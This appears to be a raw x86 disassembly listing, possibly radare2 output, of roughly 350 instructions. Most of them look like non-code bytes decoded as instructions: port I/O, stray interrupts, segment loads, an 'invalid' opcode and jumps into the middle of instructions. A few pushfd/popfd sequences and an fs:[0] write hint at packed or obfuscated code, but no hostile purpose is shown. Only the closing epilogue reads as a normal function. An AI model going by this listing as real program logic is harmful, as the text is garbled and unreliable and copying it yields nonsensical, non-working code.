mov ds, word [esi + 0xb06738c]
dec edx
inc edi
movsd dword es:[edi], dword [esi]
fmul st(0)
je 0x1008e93c
pop eax
je 0x1008e913
ficomp dword [esi]
xchg byte [ecx - 0x12], ah
dec esi
inc ecx
lds esi, [bp + di - 0x5ca5]
lds esi, [bp + di - 0x5ca5]
dec esp
cmp eax, 0x9da09ed
sbb cl, cl
int 0xaf
clc
add byte [edi], ch
pop edx
lea eax, [ebx]
mov byte [edi], ah
out dx, al
xor edi, dword [edx]
pop es
inc esi
xchg esp, eax
sbb ch, byte [esi - 0x59]
ficomp word [ecx - 0x2c8fd8fe]
imul ebp, esi, 0xffffffd6
salc
add ecx, dword [eax]
lahf
pushfd
shl byte [esi + 0x1b903980], 0x34
pop ebp
jae 0x1008e9be
cdq
cmp ch, byte [ecx + 0xf146a27]
scasd eax, dword es:[edi]
sub al, byte [edi + 0x19]
aam 0x43
salc
test dword [ebp + ecx + 0x3e], eax
jne 0x1008ea3c
or eax, 0xc87a753e
sal dl, 1
push 0x5685745
ret
enter 0xfffffffffffff2d0, 0x68
inc ebp
push edi
push 0xb0a0c305
jae 0x1008e9d7
mov dword [eax], ecx
das
mov ebx, 0xe23818fe
dec ebp
mov eax, 0x711ebfc5
popfd
mov dword fs:[0], ecx
pushfd
test byte [0x1008eaa2], 0xc2
jne 0x1008eaa3
add eax, 0x4d36e260
mov eax, dword [ebp + 0x4f]
mov ebp, 0x75ac0e26
xchg esi, eax
dec ebp
dec ebx
mov dword [edx], eax
xor byte fs:[ebx - 0x4a6b1632], ah
cmp dword [ecx + 0x47], ecx
out dx, eax
mov ebx, 0xa5f6f329
sub byte [eax - 0x15], ch
popfd
mov dh, 0x7c
js 0x1008ea1f
pop ds
cmp al, 0x5b
sub ecx, edx
add dword [esi], eax
sbb al, 0x70
mov al, ch
mov edx, 0xfab9f77a
lodsd eax, dword [esi]
mov cl, 0x47
test dword [ecx + 0x77], esp
test eax, 0xd20f8f8a
jae 0x1008ea97
mov esp, 0x51adbe52
inc esp
add dword [ecx], eax
jb 0x1008ea5e
mov esi, 0x14451ad
add dword [edx + 0x18], esi
sbb byte [edx], bl
jl 0x1008eaaa
sbb bh, byte [ecx + 0x68]
mov ecx, 0x74cfa163
inc esi
push 0xcfa163b9
je 0x1008ea96
jg 0x1008ea55
cwde
bound esi, qword [edi]
aaa
insb byte es:[edi], dx
aaa
or esi, dword [esi + 0x146b9cba]
lds esp, [ecx + 0x736e344]
mov eax, dword [0x736e344]
mov al, 0x6e
dec edx
or eax, 0xf8d12ac7
sbb eax, 0x99126b55
push ebx
xchg ebp, eax
inc esi
sub bl, byte [eax - 0x77]
test al, 0x91
inc edx
arpl word [edx + edx], cx
loop 0x1008eaeb
xor bh, byte [esp + esi + 0x70c99f6c]
scasd eax, dword es:[edi]
lodsb al, byte [esi]
mov esp, 0xfb7951dc
ja 0x1008ea54
xchg esi, eax
fld qword [esi + 0x248b21b3]
jne 0x1008ea3e
cmpsd dword [esi], dword es:[edi]
imul edi, dword [ecx - 0x31], 0xffffffc6
aam 0xce
std
outsb dx, byte ds:[esi]
jo 0x1008eaa5
outsb dx, byte [esi]
popfd
pop ecx
pop edi
pop esi
pop ebx
pushfd
test byte [0x1008eac1], 0x66
jne 0x1008ebc2
add eax, 0x1008eac1
jne 0x1008ebc0
add dword [eax], eax
add byte [eax + 0x1d], ah
loop 0x1008ea45
add byte [eax], al
pushal
sbb eax, 0x97308be2
pop ebp
sbb ah, byte [esi - 0x421f787c]
int 0xbb
or eax, 0x64f8a9e7
mov ch, 0x29
xor byte [edi - 0x7b59e5a3], dl
xchg eax, esp
mov ebp, 0xe70dbbcd
test eax, 0x29b564f8
or dword es:[edi - 0x6f7437d8], esi
push eax
push ss
push edx
cwde
pop edi
nop
cmp dword [ebx], edx
dec eax
jb 0x1008eb55
adc dword [ecx], esp
jns 0x1008eaba
clc
pushfd
jb 0x1008eb33
push cs
scasd eax, dword es:[edi]
mov al, 0xaa
cdq
adc al, 0xd9
mov edi, 0x22e0df58
xchg esi, eax
imul esi, dword [edx + 0x43911621], 0xac574b7a
mov dh, 0xd5
pop edi
sub al, 0xff
mov ecx, 0xd231bfab
rcl dword [0x30872502], cl
jg 0x1008eb6f
sub ah, byte [edi + 0x401023dd]
in al, dx
add dword [ebx], edi
cmp dl, cl
in al, dx
popal
popfd
stc
in eax, dx
cmp dword [ecx - 0x12], esp
mov al, 0x21
jno 0x1008eab3
push ss
jb 0x1008eb4b
xor ah, byte [ecx]
pop es
xlatb
push esp
cmpsb byte [esi], byte es:[edi]
lea ebp, [edi + 0x3b]
xor bl, byte [ebx]
push ecx
imul dword [0xa49f3ce3]
cmp esi, dword [edx]
sbb edx, dword [ecx - 9]
sub eax, 0xa49f3ce3
nop
aaa
push 0xffffffffffffffe1
push 0x2f
and bl, ah
inc ebx
sbb ebx, edx
or byte [edx - 0xd], al
sbb esi, dword [edx + 0x2e]
int 0x3d
leave
rcl byte [edx + 0x70dd1e3c], 0xe4
push ds
fnsave dword [eax - 0x1c]
jg 0x1008eb21
mov byte [edi - 0x74], dl
fucom st(1)
test eax, 0xea2b5f2a
mov al, 0xe5
mov cl, byte [edi]
sub al, 0x73
test eax, 0xa4361164
movsb byte es:[edi], byte [esi]
mov bh, byte [edi]
cdq
aam 0xab
test eax, 0x5dd9912
sub edx, dword [edi - 0x6e2c03c]
add al, 0x4a
inc ebp
mov word gs:[edi + esi*2], fs
adc byte [edi], dl
pop ebp
fsub dword [esi]
or byte [ebx], ah
daa
cmp ebx, dword [ebx + 0x17]
xor cl, 7
into
mov edx, 0xf43e71b8
xor al, ah
sub dword [esi + ecx*4], ebp
invalid
popal
xlatb
popfd
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011e48a
leave
ret 4